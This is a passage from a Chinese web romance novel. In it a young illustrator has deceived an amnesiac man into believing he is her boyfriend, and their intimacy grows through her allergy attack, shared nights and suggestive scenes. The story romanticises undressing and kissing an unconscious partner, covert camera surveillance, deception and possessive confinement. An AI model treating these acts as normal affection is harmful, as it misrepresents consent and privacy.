宋琢的办公室在十一楼,而有人早就等候多时。
对方撑着脸,应蓁宜有些不适应这样的明目张胆的大脸,宋琢察觉到她的紧张,安抚地捏了捏她的手。
“我和他聊聊,你在这等我?”
应蓁宜虽然不舍得,却清楚,宋琢的职位大概不低,有些事情他必须去做。
宋琢的目光扫向翘着腿的男人,对方哼笑一声,懒散地站起身,慢悠悠地走了过来。
办公室的门被关上,两个气质不同的男人进入了一间空的会议室,陈宵再一次靠进椅子里,毫不客气地质问:“你再跟我说一遍你现在什么情况,失忆?玩哪出啊?”
....
两人离开后,应蓁宜心不在焉地站在落地窗前发了一会儿呆,助理敲门而入,为她送了一碟点心和红茶。
可能是因为思绪不安,她没注意曲奇里有坚果。
等吃了一半才反应过来,却为时已晚。
脖子,脸颊甚至是手背都掠起了密密麻麻难抑的痒,她拿出镜子,发现自己的皮肤已然透红。
她难受极了,双手颤抖着拿出手机想要给宋琢打电话,却忽然敏感地想到,她现在这个样子一定很丑。
他会不会嫌弃?
他本就是她骗来的,应该对她没有多少感情的。
万一,他和同事聊完恢复记忆,会不会直接把她赶走?
应蓁宜煎熬又难受,她忽然生起了逃避的念头,狠狠抓了下手背的皮肤,踉踉跄跄地就想跑。
宋琢一进办公室,就看到她皮肤透着不正常的红,难受焦躁的模样。
他脸色大变,向来冷静从容的男人大步走了过来。强硬地抬起她的脸,也意识到她是过敏了。
“我们去医院。”
而应蓁宜身体一软,骤然倒在了他的怀里。
去医院的路上,她已经难受到了极点,总想要抓挠。
宋琢将她整个人抱在怀里,禁锢着她的双手,沉声安抚:“蓁蓁乖。”
应蓁宜本就因为他的事情焦虑,此刻更是痒得快疯,眼睫毛湿黏,趴在他怀里小声地啜泣。
宋琢的脸色沉到了极点,抱着已经迷糊的小姑娘,克制而心疼的吻,就这么轻轻落了下去。
....
输液的时候,她整个人都昏昏沉沉的很不清醒。
再次醒来,是因为身上还没缓下去的痒。
她迷迷糊糊地撑起身体,想要抓挠,却忽然被人攥住了手腕。
从医院回来,宋琢依旧很担心,便一直在边上守着。
看到他的那一刻,应蓁宜的情绪反而愈发克制不住了,她吸了吸鼻子,除了过敏带来的难受,心里也不舒服。
“你想起什么了吗?”
小姑娘开口时还带着点哭腔,宋琢抚着她眼尾薄薄的皮肤,温声哄着:“想到了有一些琐碎的事,但是有很多不记得。”
“我申请了休假,这段时间不需要去公司。”
所以,她还是可以占有他一段时间的,对吗。
应蓁宜瘪着嘴,还是委屈:“我现在是不是很丑?”
宋琢将人揽进怀里,温热的吻,缓慢地落在女孩子的脸上,“我们蓁蓁怎样都不丑。”
“可是我真的好痒,好难受....”
她瓮声瓮气的,哭腔怎么也止不住。
身体难耐地想要挣开他的怀抱,可这是宋琢第一次没有纵容她。
男人沉默地扣住她的手,轻柔的吻却始终没有停下,落在她因为过敏难受的每一处——
滚烫的脸颊,泛红的耳朵,再至往下,唇瓣轻轻贴着她颈部的皮肤。
应蓁宜眼皮很沉,只觉得男人温热的呼吸似乎有种神奇的魔力,抚平了她所有的不安与焦躁。
她慢慢平静下来,却依旧抱着他的腰。
“你能不能抱着我睡?”
她的声音听起来有些可怜,宋琢总是那么有耐心,搂在她腰间的手轻轻拍着,嗓音轻缓地哄道:“睡吧。”
应蓁宜整个人迷迷糊糊的,可身体却像是循着本能,找到了一个格外舒适的位置。
她闭着眼,脸颊轻轻蹭了蹭男人的胸膛,无意识的动作里满是依赖。
好舒服...就像是,在妈妈的怀里。
可偏偏,应蓁宜对妈妈的印象不深,在模糊的记忆里,似乎有人就是这么抱着她的。
可除了妈妈,还会是谁呢?
似乎只有妈妈了。
只有妈妈的怀抱,会令人觉得心安。
只有妈妈,会让人觉得依恋。
8. 第 8 章
吃了药,应蓁宜昏昏沉沉睡了很久。
或许还是不舒服,她双眼紧闭,滚烫的脸颊透着不正常的红,双手却格外依恋地抱着他,不肯松开,还时不时地呢喃着几声梦话。
宋琢在她的后颈摸到了黏腻,他拧着眉,往下从她的衣摆中探了进去,在她清瘦的背脊上也摸到了层薄薄的汗。
担心小姑娘睡的不舒服,他想了想,还是缓慢地解开扣子,将她身上的衣服脱了下来。
宋琢在衣柜找到一套干净的睡衣,又进浴室,耐心地用温水将毛巾打湿。
将不着寸缕的人搂进了怀里,宋琢温柔擦拭着她的身体。
他的动作并不生疏,珍重而耐心,仿佛在曾经做过无数次。
宋琢并没有第一时间给小姑娘穿上睡衣,晦涩不明的目光就这么静静看着怀里的人,描摹着她的眉眼,她的唇,她的每一处。
昏黄的灯光下,不同于平日里那温柔绅士的模样,宋琢珍重地,克制地吻着熟睡的人,带着无意识的迷恋,仿佛要将人揉进骨子里。
他的蓁蓁。
他的蓁蓁.....
-
因为不放心她一个人在家,宋琢并没有出门买菜,而是在某个小程序上下单了些适合煲汤的食材。
应蓁宜一直睡到下午四点,宋琢一回头,就瞧见小姑娘从门后悄悄探出了脑袋。
“醒了?还难受吗?”
应蓁宜的目光一瞬不瞬地盯着他,只见他用纸巾擦拭着修长的手,慢条斯理的动作格外养眼。
直至面前笼下阴影,她怔怔撞上了男人沉静的目光,下意识地移开了视线,“好多了。”
紧接着,她又羞赧的,有些不自然地问道:“我的睡衣...是你帮我换的吗?”
宋琢嗯了一声:“你有点发烧,一直在出汗,我担心你睡得不舒服。”
他的坦诚让应蓁宜哑口无言,所以...他还帮她擦身体了?
真奇怪,这明明是会让人觉得冒犯的行为,她却没有任何的反感。
甚至是....有种诡异的幸福。
但她的沉默,在宋琢眼里却是另一种想法。
他敛下情绪,微微弯着腰,视线与她乌黑不解的目光持平,温声地说:“蓁蓁,如果你觉得不舒服,我向你道歉。”
应蓁宜迟钝地意识到他话里的意思,条件反射地否认:“我没有觉得不舒服。”
宋琢的眼里藏着微不可查的笑意,却依旧包容而耐心:“就算我们是男女朋友,不代表我什么都可以做。”
“擅自作主帮你换睡衣,的确是越界的行为。蓁蓁,你可以提出所有不喜欢的地方。”
应蓁宜想,他未免过于正直了。
他并没有因为自己是她的恋人,就理所应当地觉得可以做出任何亲密的行为。
反倒告诉她,如果觉得不舒服,那无论是什么关系,她都可以提出来。
但是....
她并不是讨厌啊!
应蓁宜做不到大胆又奔放地说我太喜欢和你亲近了,只能磕磕绊绊地找了个借口:“我只是觉得不公平。”
宋琢瞧上去有些疑惑,她硬着头皮胡说八道:“凭什么我不能看你的身体!”
“.....”
是了,在她塑造的人设里,他就是这么一个体贴,却又古板保守的男人。
话音落下的那一刻,应蓁宜就有些后悔了。
却不想,宋琢只是好脾气地一笑,仿佛无比纵容:“只是看看?”
应蓁宜愣了下,不可置信地讷讷道:“你答应了?”
宋琢没有直接回答,而是悠悠地说:“看来你口中的我保守不是没有原因的。”
应蓁宜呆呆的,一时间没懂他的意思。
宋琢抬起小姑娘的脸,幽深的眸子就这么意味深长地看着她,像是有什么在空气中抽丝剥茧般发酵,令她不自觉地咽了下喉咙。
“蓁蓁,你刚才盯着我,像是想直接脱掉我的衣服。”
“....”
“我才不是这样的人。”应蓁宜脸颊倏地烧了起来,磕磕绊绊地为自己辩解:“我很矜持的。”
“嗯,那看来是我的错觉。”
男人的声音里是毫不掩藏的笑意,低低磁磁的,有些性感,像根小羽毛轻轻摩挲着她的耳朵。
应蓁宜也是这时才后知后觉,他似乎是在逗她。
但她完全不生气,反而像是被撩拨到了,一颗心扑通扑通地雀跃着。
方才还说自己矜持的小姑娘,像条小尾巴似的跟在男人身后。她压根不会掩藏自己的情绪,偷偷看了他好几眼,才羞赧地试探道:“那什么时候看呀?”
宋琢将排骨汤盛了出来,“等你过敏好了。”
可过敏和看他并不冲突呀。
似是瞧出她的想法,宋琢撑着脸颊,似笑非笑地看着她说:“小色鬼,这么着急?”
“.....我才没有!”
应蓁宜慌乱又心虚地喝了口汤,却没注意这是刚煲好的,猛地被烫到了。
宋琢眼底的笑意消失得一干二净,抬起她的脸,沉声哄道:“舌头伸出来。”
她大脑一片空白,只能听话地照做。
宋琢看着她嫣红的舌尖,喉咙不自觉地上下一滚。
他移开视线,只见小姑娘瞧上去实在可怜,眼尾湿湿的,睫毛轻颤,却很乖地仰着脸,任由他检查。
“看上去没有烫伤,很疼?”
他的声音里藏着很轻的沙哑,应蓁宜也后知后觉地涌上一丝羞赧,嫣红倏地缩了回去,含糊回答:“刚才疼,现在就感觉好麻。”
宋琢转身倒了杯水,不动声色地敛下情绪,并没有责怪她的走神:“慢点喝。”
他说着,又从购物袋里拿出一颗今天新买的橘子,修长的手指缓慢剥开。
应蓁宜迟钝地察觉到方才气氛的古怪,她抱着杯子喝水,目光却忍不住悄悄偷看他的唇。
他昨天,是不是亲她了....
应蓁宜后知后觉地想起了一切,脑海中满是他温柔的吻,脸颊瞬间烧了起来,热意从耳廓蔓延,沿着后颈皮肤,就连指尖都忍不住轻颤。
还记得她昨天因为过敏浑身难受,再加上怕他会恢复记忆离开,情绪是有些失控的。
但他...怎么这样啊。
他怎么偏偏,在她最狼狈的时候亲啊。
宋琢剥好橘子,却发现小姑娘耳朵透着不自然的红,正抱着水杯发呆。
“舌头还是不舒服?”
应蓁宜的嘴里被塞进了一瓣橘子,她懵懵地咬了下去,清甜的汁水瞬间迸散。
“没有。”
她心虚地嚼嚼嚼,脑子里却还在想他的吻。
宋琢仿佛没有注意到她的三心二意,就这么安安静静地陪着她。
喝完汤,应蓁宜接到了丁晓的电话。
丁晓除了是宠物医院的医生,还长期参与动物救助。
如今的动物保护法并不完善,她的团队甚至受到过一些极端人士的报复,可丁晓从未想过放弃。
应蓁宜也曾想过加入其中,但她还是没办法克服心理障碍,能做的就是撒钱赞助。
丁晓拒绝过无数次,却发现这小姑娘通过其他途径偷偷捐给了救助协会。
她知道应蓁宜的情况,从那之后,每次救助结束,都会特地打电话过来分享情况。
镜头里的丁晓碎发凌乱,风尘仆仆的却依旧明媚到令人移不开眼。
应蓁宜其实很羡慕她,自由、潇洒,与总是躲在角落里的她,仿佛天壤之别。
很认真地听她说完话,宋琢刚好从对门回来。
“朋友?”
他似是漫不经心地问着,应蓁宜也没有隐瞒:“她叫丁晓。”
她有时觉得自己真奇怪,明明在很多事情上都是胆怯逃避的,却总是愿意和他分享一切。
她絮絮说着自己是如何与丁晓认识的,对方又是怎样照顾她。
宋琢仿佛没有因为这个名字产生波澜,而是耐心地听着她分享。
应蓁宜像条小尾巴似的跟在他身后,欲言又止的,宋琢牵着她的手将人揽进怀里:“怎么了?”
她以一种极其没有安全感的姿势抱着男人的脖子,依恋又亲呢地蹭了蹭他的颈窝,轻声道:“宋琢,你对我真好。”
不知道为什么,比起丁晓,程敏瑜,自己对他似乎有天然的,无法言说的依赖。
刚刚打电话的时候,她看到了晒在阳台的睡衣。
应蓁宜觉得幸福的有些不真实,随之而来的是无尽的惶恐不安。
他是真实的吗?
如果他恢复记忆了该怎么办。
他离开后,会不会和其他人谈恋爱?
他会不会也这样照顾别的女人,照顾生病的她,洗衣做饭,温柔地哄人。
想到这里,她就没由来地觉得难过。
如果,他只能是她一个人的就好了。
如果能一辈子把他禁锢在身边就好了。
可如果宋琢知道了她这般病态阴暗的一面....
似乎察觉到小姑娘低落的情绪,宋琢耐心而温柔地抚拍她的背脊,“我会一直对你好。”
仿佛他不是她骗到手的。
仿佛她真的是他的女朋友。
仿佛他....真的很爱他。
应蓁宜恹恹靠着他的肩,忽然有些黏人地说:“虽然我很矫情,很黏人,也有很多怕的东西,但你失忆生病了我都没有丢下你,我对你这么好,你不能做渣男。”
“你不能嫌弃我,要一直喜欢我,知道吗?”
宋琢似乎没有觉得她的要求很过分,更没有觉得她无理取闹,而是笑着说应下了她的每一句话。
“....”
应蓁宜心里懊恼地骂了他一句笨蛋,却还是按耐不住心思地提醒:“你不要光说,你要做。”
宋琢虚心请教他的女朋友:“怎么做?”
应蓁宜的目光忍不住盯着他的唇,耳根发热,声音不由低了些:“亲亲我。”
宋琢将她不自然的模样尽收眼底,心里轻笑着念了声小色鬼,面上却没有显露半分,只是纵容地,顺从地在她的眼皮处落下轻吻。
应蓁宜却不太满意,她视线飘忽,雀跃又期待地暗示:“像昨天晚上那样亲。”
话音落下,他却没有什么动作。
她疑惑又着急地看了过去,却陡然撞上了男人似笑非笑的目光。
她忽地羞恼,娇蛮又无理地指责:“你不愿意亲我了吗——”
几乎是一瞬间,男人轻柔的吻仿佛抑住了她的命门,整个人骤然安静下来,就这么乖乖地坐在他的怀里。<
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p>宋琢捧着她的脸,并不像完成任务般亲,而是亲昵地蹭了蹭女孩子的鼻子尖,察觉到她呼吸紊乱,眼底笑意舒展,这才缓缓往下。
清醒状态下,应蓁宜反而更不好受了。
她似乎只能听见自己咚咚的心跳声。
“昨天有亲这里吗?我忘记了。”
偏偏这个时候,他还非常绅士有礼貌地询问。
还有些故意的,保持着似吻非吻的距离,热意喷洒在她的耳廓,掠起了一小片颤栗。
应蓁宜明知道他是在逗自己,却还是鬼迷心窍地点点头,顺从心里的渴望,尾音也不自作地拖着:“要亲....”
宋琢很听话,温热的唇轻轻贴着她耳后的皮肤,又缓慢地往下,令她不自觉地仰起了脸。
他的吻明明不含任何欲.念,甚至可以说得上是极致温柔,却令她身上出了一层薄薄的汗,煎熬至极,却又幸福到觉得想要沉沦。
时间一分一秒走得很慢,宋琢的吻,最后落在她的指尖上。
应蓁宜下意识地蜷起手,却被他十指相扣地禁锢着。
宋琢看了眼时间,只过去不到十分钟,小姑娘瞧上去就有些不在状态了。
他将黏人的女朋友捞了起来,给她喂了杯水,这才慢悠悠地调侃:“还要不要亲?”
应蓁宜今天确实满足了,可一旦尝到了甜头,人就会不知足,就会愈发的贪吃。
她耳廓还染着绯色,一双漂亮的眸子却眼巴巴的:“明天也可以有吗?”
宋琢没有直接回答,而是单手撑着脸,深邃的眼眸就这么似笑非笑地看着她:“蓁蓁,我现在无比确定,就是你将我拐到手的。”
“你这小姑娘,还挺馋。”
事实证明,有的人就算是失忆了,那天生的敏锐依然在。
被他戳穿了心思,应蓁宜颇有点恼羞成怒的意思,无理地指责道:“宋琢,你真保守!”
话音落下,她直接从他身上下来,离开的背影仓皇失措。
直到卧室的门被关上,宋琢缓缓收回了视线,身体保持着被推倒后,靠在沙发上的姿势,握拳抵着唇,溢出了无声的笑。
....
应蓁宜本想故作生气,却没想到接下去的两天,宋琢依然会在每天睡前亲她。
她觉得自己或许真的有什么肌肤渴求症,总是想要更多,想要一直和他亲昵。
这几日,她心情特别好。
除了不用吃过敏药,还有就是,她画到了宋琢。
只是第一次,她还是收敛了许多,没有让他脱衣服,只是让人靠在沙发上。
画好的时候,宋琢阖着眼皮,似乎是睡着了。
她蹑手蹑脚地放下工具,坐在沙发前的地垫上,静悄悄地观察他。
应蓁宜其实从没想过有这么一天,她的性子很孤僻,别说谈恋爱了,和陌生人多沟通几句都是磕磕绊绊的。
但她竟然会对一个人一见钟情,甚至是...将人拐回了家。
更奇怪的是,她怕很多人,唯独在他面前,她会不自觉地产生依赖,想要亲近,就比如这一刻。
她小心翼翼地挤到了男人的怀里,双腿微曲,又轻轻将他的手臂搭在了自己的腰上。
做完这一切,她已经有些累了,双手抱住男人劲瘦的腰,脸颊早就循着本能埋在了他健硕的胸膛处。
午后,和煦温暖的阳光在室内落下了一小片阴影。
不算宽敞的沙发上,年轻的男女亲密相拥,宋琢阖着眼皮,他的手有些发酸,却始终搂着怀里的人。
仿佛所有的疲惫与晦涩,都在这一刻尽然卸去。
-
应蓁宜没想到,宋琢先想起来的,竟然是支付密码。
在那个夜里,她莫名收到一笔转账,当时心一惊,还以为他什么都记起来了,而这笔钱是散伙费。
却不想宋琢只是风轻云淡地说:“随便试了下,没想到就是密码。”
应蓁宜想要把钱退回去,他也只是淡淡道:“给女朋友转账,也没什么不对的。”
见她没反应,宋琢直接替她收了下来:“以后再删一次微信,就给你转账一次。”
“.....”
当时宋琢问她,为什么两人没有微信。
她胡乱编了个理由,说是他一吵架,就会删微信发脾气。
还记得宋琢听见这话后,沉默了许久才问:“我这么差劲,为什么不提分手?”
应蓁宜本就是瞎编的,抠着手憋出了一个答案:“因为我喜欢你嘛,舍不得。”
这样听起来,两人一个恋爱脑,一个是矫情古板,还总是冷暴力的坏脾气。
放在网上都是会被说锁死的程度。
宋琢在那个晚上久久无法入睡,本想去客厅倒杯水,却碰到了正在和仓鼠玩的应蓁宜。
她乌黑的眼眸几乎是瞬间一亮,哒哒哒地走到面前,双手抱住他的腰,仰着素净的小脸问他怎么还没睡。
那一刻,宋琢心底的戾气似乎被抚平。
他微微弯下腰,下颌搭在小姑娘的颈窝处,将人抱得很紧。
应蓁宜不明所以,却很开心和他这样亲密拥抱,脸颊依赖地蹭了蹭,乖乖的,完全不想挣脱。
是了,怎么会有别人呢。
他的蓁蓁,不会喜欢别人的。
她也只能是他的蓁蓁。
9. 第 9 章
应蓁宜其实不记得第一次过敏是什么时候了,却总有种模模糊糊的印象,恍惚间,自己被送进了急诊室,意识混沌,呼吸也异常困难。
这么多年,唯独在闻到坚果、芒果的香气时,她会有严重的生理性反应,甚至不受控制地开始呕吐。
这次的过敏也算严重,但因为还有重要的商稿,她没有休息很久。
不同于现实的唯唯诺诺,她在网络上的性格明显鲜活许多。会可爱地回复读者的喜欢,甚至会和甲方提出自己的意见。
还记得第一次和程敏瑜见面,她裹了一件宽大的羽绒服,下巴藏在红色的围巾里,露出一张干净白皙的小脸。
戴着一顶毛绒帽,鼻梁上架着黑框眼镜,双手拘谨地放在腿上,那双乌黑的眸子里透着怯怯的不安。
谁能想到,这样一个腼腆又怯懦的女孩儿,竟能画出将人吓得三天不敢睡觉的恐怖题材。
以往,她的生活很枯燥,除了画稿,就是陪仓鼠玩。
后来宋琢搬过来,她开始每天定闹钟,准时躲在监控后偷窥他。
到现在,宋琢占满了她生活的角角落落。
平日里,他总是温温柔柔的模样,可在某些方面也会很严格,比如,不允许她熬夜。
当时,她熬到凌晨四点,大脑浑浑沌沌的,完全忘了家里还有一个人,就这么一觉睡到傍晚五点。
见她迷迷糊糊地从卧室出来,宋琢并没有流露出任何不悦的情绪,也没有责怪她。
只是在用完晚餐后,他将人抱在怀里,手机点开了一条帖子,标题是很显眼的几个大字——注意!熬夜有可能会让人猝死!
应蓁宜还试图为自己辩解:“可是我习惯了。”
宋琢难得没有纵容她:“这是个坏习惯。”
她不说话了,只是将脸埋在他的颈窝处,静静抱着男人的脖子,牙尖怂怂地咬了他一下。
宋琢搂着小姑娘的腰,像是在哄人:“蓁蓁,我会担心你。”
他这样温柔的语气,让应蓁宜根本没办法拒绝。
但长时间的坏习惯,哪有那么容易改。
宋琢每天睡前都会来看她一眼,应蓁宜前一秒还乖巧地说晚安,却在下一秒立刻从床上腾了起来。
甚至会做贼心虚地走出卧室,悄悄偷听客房的动静。
在确认他应该睡着后,她欢快地回到房间,关上门,戴着耳机投入工作,但宋琢是何其敏锐的人。
在某个晚上,应蓁宜掐着点工作。
她格外投入,没有察觉到身后的门被缓缓推开。
宋琢双手环抱,就这么静静看了她许久,并没有出声打扰。
直到她疲倦地揉了揉眼睛,手边落下一杯温水。
她呆愣愣地抬起眼,忽然心虚的像是做了什么坏事。
宋琢却没有指责她,语气平静到听不出异常:“画好了?”
她本想说没有的,却下意识地点了点头。
宋琢没有再说什么,只是叮嘱她不要再揉眼睛。
应蓁宜也怂怂的,没敢再继续画。
心虚作怪,她第二天醒的很早。
宋琢并没有夸奖她,而是体贴地碰了碰她的脸:“怎么早起了?”
被他抓包是凌晨两点,她总共也就睡了五个小时。
应蓁宜像是犯了什么错般,黏黏糊糊地挤进他怀里,讨好又低落地说:“你别生我的气。”
宋琢无奈地抱着小姑娘,语气依旧温柔,令人听不出异常:“我没生气。”
可应蓁宜还是不安,这一整天,就像条小尾巴似的跟着他,黏人的要命,还总想要他抱。
到了晚上,她洗完澡,跑到客房敲了敲门,很乖巧很主动地承诺,“我今晚一定会早睡的,你可以再进来检查。”
宋琢也刚洗完澡,他嗯了声,却反手合上了客房的门。
应蓁宜被他牵着手,一直回到了她的卧室,终于后知后觉地意识到什么,心跳骤乱,却还是佯装着镇定试探道:“你还不睡吗?”
宋琢睨着她的眼底是很淡的笑意,“不听话的小孩,还是得寸步不离地管着。”
应蓁宜并没有因为他的不信任而感到愤怒,满脑子想的都是——
他要和她一起睡吗?
完蛋了,她好像更兴奋。
她不说话,宋琢还故意问:“不想和我一起睡?”
“没有!”
她几乎是毫不犹豫的反驳,话音落下的那一刻,才意识到男人是在逗她。
但她完全没有生气,而是一骨碌的躲进了被子里,又往边上一滚,仿佛很大方地拍了拍边上的位置:“很晚了,宋琢,我们早点睡觉吧。”
小姑娘看上去并不困,甚至还有点雀跃。
宋琢掀开被子躺了进去,一偏头,便触上了她亮盈盈的眸子。
应蓁宜只短暂地矜持了两秒,还是按耐不住地拱到了他的怀里,双手依赖地抱着男人的腰,宋琢下颌抵着女孩子毛茸茸的脑袋,亲昵地将人拥在怀里。
“我的睡相很好的,你放心...”
应蓁宜早就将脸颊埋在了她最喜欢的胸膛处。
唔...好香,他用的是她的沐浴露。
他们身上的味道,是一样的。
好喜欢,要是每天都能抱着他睡就好了。
宋琢嗯了声,但没一会儿,怀里的人不安分地动了动。
“你每天都会和我一起睡吗?”
应蓁宜毫无睡意,脑袋一动,柔软的碎发在他下颌掠起了很轻的痒意。
他喉结上下一滚,收紧了搂在她腰间的力道,没有回答,而是将问题抛给了她:“想和我一起睡?”
应蓁宜有些不好意思,却还是脆生生地嗯了一声:“想。”
小姑娘格外坦诚,毫不掩饰自己的期待,宋琢眼底掠起笑意,格外纵容:“那你乖一点。”
应蓁宜真的好开心,趴在他怀里,却始终没什么睡意。偶尔鼻子轻轻嗅他,见他没反应,又悄悄抬起眼地偷看他,甚至还大胆到,装作不小心地亲他的下颌。
宋琢任由她闹腾,过了好一会儿,她像是终于玩够,呼吸也渐渐静了下来。
他眼皮一动,幽黑沉静的目光盯着女孩儿的睡颜,轻柔的,如待珍宝般落下一道吻。
-
应蓁宜还没适应早起,坐在餐桌前已经困倦地打了好几个哈欠。
宋琢和她说话时,她还在走神。
吃完早餐,她黏黏糊糊地坐进他怀里,眼巴巴地问道:“你是不是该奖励我?”
他搂着人,似笑非笑地说:“这还要奖励?”
“当然啦,我从来不早起的。”
她说得理直气壮,宋琢轻轻点了点她的鼻尖,仿佛在教育不听话的小孩:“这是什么好习惯吗?”
应蓁宜如今的胆子越来越大了,亲昵地贴贴他的脸撒娇,宋琢觉得她真是个得寸进
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尺的坏蛋,却还是包容地问:“想要什么奖励?”
应蓁宜眼眸瞬间亮亮的,抱着他的脖子,有点害羞,又十分期待:“我可以摸摸你吗?”
“....”
宋琢好笑地看着她,伸手捏着女孩子柔软的脸蛋,迫使她红唇微张,语调悠悠含笑:“小色鬼,原来你每天都在想着怎么占有我?”
应蓁宜已经馋他很久很久了!
见他一直不答应,她羞恼地咬向他的手,不高兴地坐在他腿上嚷嚷:“你就是小气鬼!”
宋琢的手背落着微红的咬痕,他撩起眼皮,慢条斯理地质问面前的罪魁祸首:“不答应你,就是小气鬼?”
应蓁宜是有点心虚的,可此时两人实在太近了,她的目光不受诱惑地盯住了男人的唇....
宋琢将小姑娘的反应尽收眼底,捏着她的下颌抬起脸,似笑非笑地调侃着:“还说不是小色鬼?”
“.....”
应蓁宜耳廓升温,猛地扑进他怀里,还泄愤似的,张嘴不轻不重地咬了他的肩。
她小吵小闹的反应,在他看来都极为可爱。
宋琢心情不错,也不再逗她,“如果能坚持两周早睡早起,就答应你。”
应蓁宜倏地抬起脑袋,讨价还价道:“一周。”
宋琢却没有再纵容,而是微笑着拒绝:“蓁蓁,别撒娇。”
应蓁宜苦恼地纠结了一会儿,还是咬牙答应了。
而接下来的两周里,宋琢发现她真的挺乖的,每天都准时上床。渐渐的。她似乎也养成了习惯,到十一点就开始犯困。
约定的最后一天,她明里暗里提醒了很多次,宋琢双手环抱,看着面前这个想跟他进浴室的小色鬼:“还想帮我洗澡?”
也不是不可以啊。
宋琢似是看穿了小姑娘的心思,微笑着推开她的脑袋:“想的美。”
“.....”
应蓁宜只好按耐着心思回卧室等,为了分散自己的注意,她拿着平板继续画他。
宋琢从浴室出来,就见刚才还眼巴巴的小姑娘正趴在床上,连他进来也没发现。
他静静来到她身边,将她画的内容尽收眼底。
应蓁宜鼻尖一动,迟钝地察觉到男人的气息,慌乱收起平板,脸颊也浮着不自然的红晕。
谁让他不出来的,她就有点收不住笔,画的有点开放了....
宋琢什么也没说,而是大马金刀地坐在沙发上,牵着她的手稍稍用力,让人跨坐在自己身上。
应蓁宜迟钝地意识到,这个姿势,不就是她画在平板上的内容么。
倒是宋琢,他干净利落地脱掉了身上的短袖。紧接着,就这么松弛而懒散地往后靠去,视线却一瞬不瞬地攫住了她的目光。
幽幽昏黄的灯光下,似是若隐若无的暧昧在抽丝剥茧地发酵。
应蓁宜口干舌燥地咽了下喉咙,脑海中只剩下一个念头——
好劲。
他好性感....
“蓁蓁。”
比起她大脑空白的反应,宋琢这个将要被摸的人,反而格外冷静。
他幽深的目光并不清白,仿佛一眼望不见尽头,却令她无可救药地沉溺其中,甚至有股陌生的,令人颤栗的酥麻侵入了四肢百骸的血液中....
让她异常的兴奋。
宋琢亲昵地吻了女孩儿的脸,温柔至极地提醒道:“可以开始了。”
10. 第 10 章
宋琢平日里穿得斯文,多数是得体的西装衬衣,再加上他腿不好,举止绅士有礼,也总是温柔笑着包容她,纵容她,谁知道脱了衣服,身材竟这样的性感。
鼓鼓囊囊的胸肌仿佛贲张着强悍的力量,可为什么她的脸埋进去,会觉得好温暖,好舒服,好令人觉得依赖呢?
甚至总有种错觉,是在妈妈的怀抱里。
应蓁宜疑惑着,抚摸的手忍不住一抓。
好奇怪的感觉,但她喜欢。
宋琢没有阻止她作乱的手,只是呼吸微微凌乱。
幸好他不知道小姑娘心里所想,若知道她把自己当成了妈妈,估计得沉默很久。
天知道,每次小姑娘挤进他怀里,他都会刻意的将肌肉放松,生怕会让她觉得硬邦邦的不舒服。
应蓁宜见他没有不高兴,胆子也渐渐大了起来,她偷袭似的在他的唇角处亲了一口,漂亮的眸子里是明晃晃的心动:“宋琢,我特别特别喜欢你。”
男人横亘在腰间的力量渐渐收紧,女孩子的表白热情又羞涩,宋琢喉结上下一滚,亲昵地碰了碰她的鼻尖,嗓音低低哑哑的:“是喜欢我的脸,还是我的身材?”
温热的呼吸若即若离,像是将她的整颗心给勾住了,她迷迷糊糊地觉得他是在勾引自己,却还是克制着想要将他扑倒的冲动,磕磕绊绊地回答:“都喜欢....”
宋琢垂眼看着小姑娘的手逐渐往下,细白的指尖在他的腹肌上摸了又摸。
他温热的呼吸落在她耳边,好似漫不经心地问道:“比你手机里的那些男人,还要喜欢?”
应蓁宜的手没从腹肌上挪开,还被他撩拨着,就这么三心二意地,声音微微发颤:“什么男人?”
宋琢的语气听不出什么异常,仿佛只是随口提起:“你收藏的那些。”
等应蓁宜意识到他说的是什么,顿时脸热耳红地解释道:“我不是喜欢他们....”
她会收藏,只是看中了那些衣服,比如那件公认的,男人最银/荡的黑色紧身衣。
她想,如果是宋琢穿,肯定会更性感,更帅。
原来是这样,宋琢的语气愈发温柔了:“那怎么不买?”
应蓁宜没想到他会接受,有些惊喜:“你愿意穿?”
宋琢吻着她的脸,格外纵容:“只要你喜欢。”
应蓁宜真的很开心,抱着他的脖子,身体一动,本想换个坐姿,却迟钝地意识到了什么。
小姑娘直勾勾地盯向那睡裤下贲张的力量,宋琢心跳咯噔一声,忽然有了不好的预感,想要阻止,却还是迟了一步——
她就这么莽撞而好奇地伸手一抓,宋琢不受控制地闷哼出声,扣住她作乱的手警告:“蓁蓁。”
“这里不可以。”
应蓁宜的手心还残留着温烫的痕迹,她咽了下喉咙,很体贴地说:“你要不把它放出来吧,塞在裤子里,不会难受吗?”
那么大呢!裤子都鼓囊了。
“........”
宋琢额间青筋跳了两下,他实在想不明白,小姑娘在这种事情上怎么会如此大胆。
谁教她的?哪看来的?
应蓁宜眼巴巴的,仿佛很为他着想,“你会很难受的。”
宋琢第一次反驳她的话,嗓音微沉:“我不会,好了蓁蓁,今天就到这里,你先下来,好吗?”
应蓁宜不愿意,他所有的反应和变化,她都能察觉到,但他为什么不肯让她看呢?
难道是因为没有相信她是他女朋友?
这段时间宋琢的温柔体贴,将她纵容出了几分坏脾气。
她顽劣地、故意地坐了下去,男人性感的闷哼声落在耳边,下一秒,空气中溢出不轻不重的声响——
她作乱的心思顿时消失得一干二净,整个人僵住,不可置信地看着他,耳廓的热意从四肢百骸蔓延开来。
他他他他!他居然打她屁鼓!
宋琢将人按到怀里,他是正常的男人,心爱的姑娘这样摸,肯定会起。
只是她这样无所畏惧地撩拨,让他怕自己会控制不住地把她翻过来,从而就不只是用手打这么简单了。
他嗓音沙哑,却又格外无奈:“蓁蓁,你乖一点。”
没想到,应蓁宜真的老老实实抱着他不动了。
除了因为被他警告,被他打了屁顾,还有就是,她自作自受的,好像把自己也弄难受了。
这沉默的几分钟里,她明明什么都没做,却觉得空气忽然变得黏腻而燥热,令她的格外不安地动了动,搂在腰间的手却极具占有欲地收紧了力道,像是要将她禁锢在怀里,还略带警告地轻打了两下。
她好想去浴室。
宋琢漆黑的眼眸仿佛一眼望不见尽头,他喉咙上下一滚:“我抱你去。”
应蓁宜这会儿觉得不好意思了,从他身上下来的时候,却又偷瞄了一眼。
哇哦....
...
从浴室出来,她整个人清爽了许多,见宋琢不在卧室,她跑去客房找人。
浴室里水声不断,他又在洗澡。
她没有回去等,而是抱着平板在他的床上画画。
过了好久,宋琢从浴室出来,裹挟着湿漉漉的雾气,深邃的眉眼已然恢复温和沉静。
“怎么不先睡觉?”
她的生物钟渐渐养成了,困倦地打了个哈欠说:“找不到你。”
宋琢心里一软,缓慢走了过来,摸着她的脑袋,像是在哄人:“我还能去哪?你先去。”
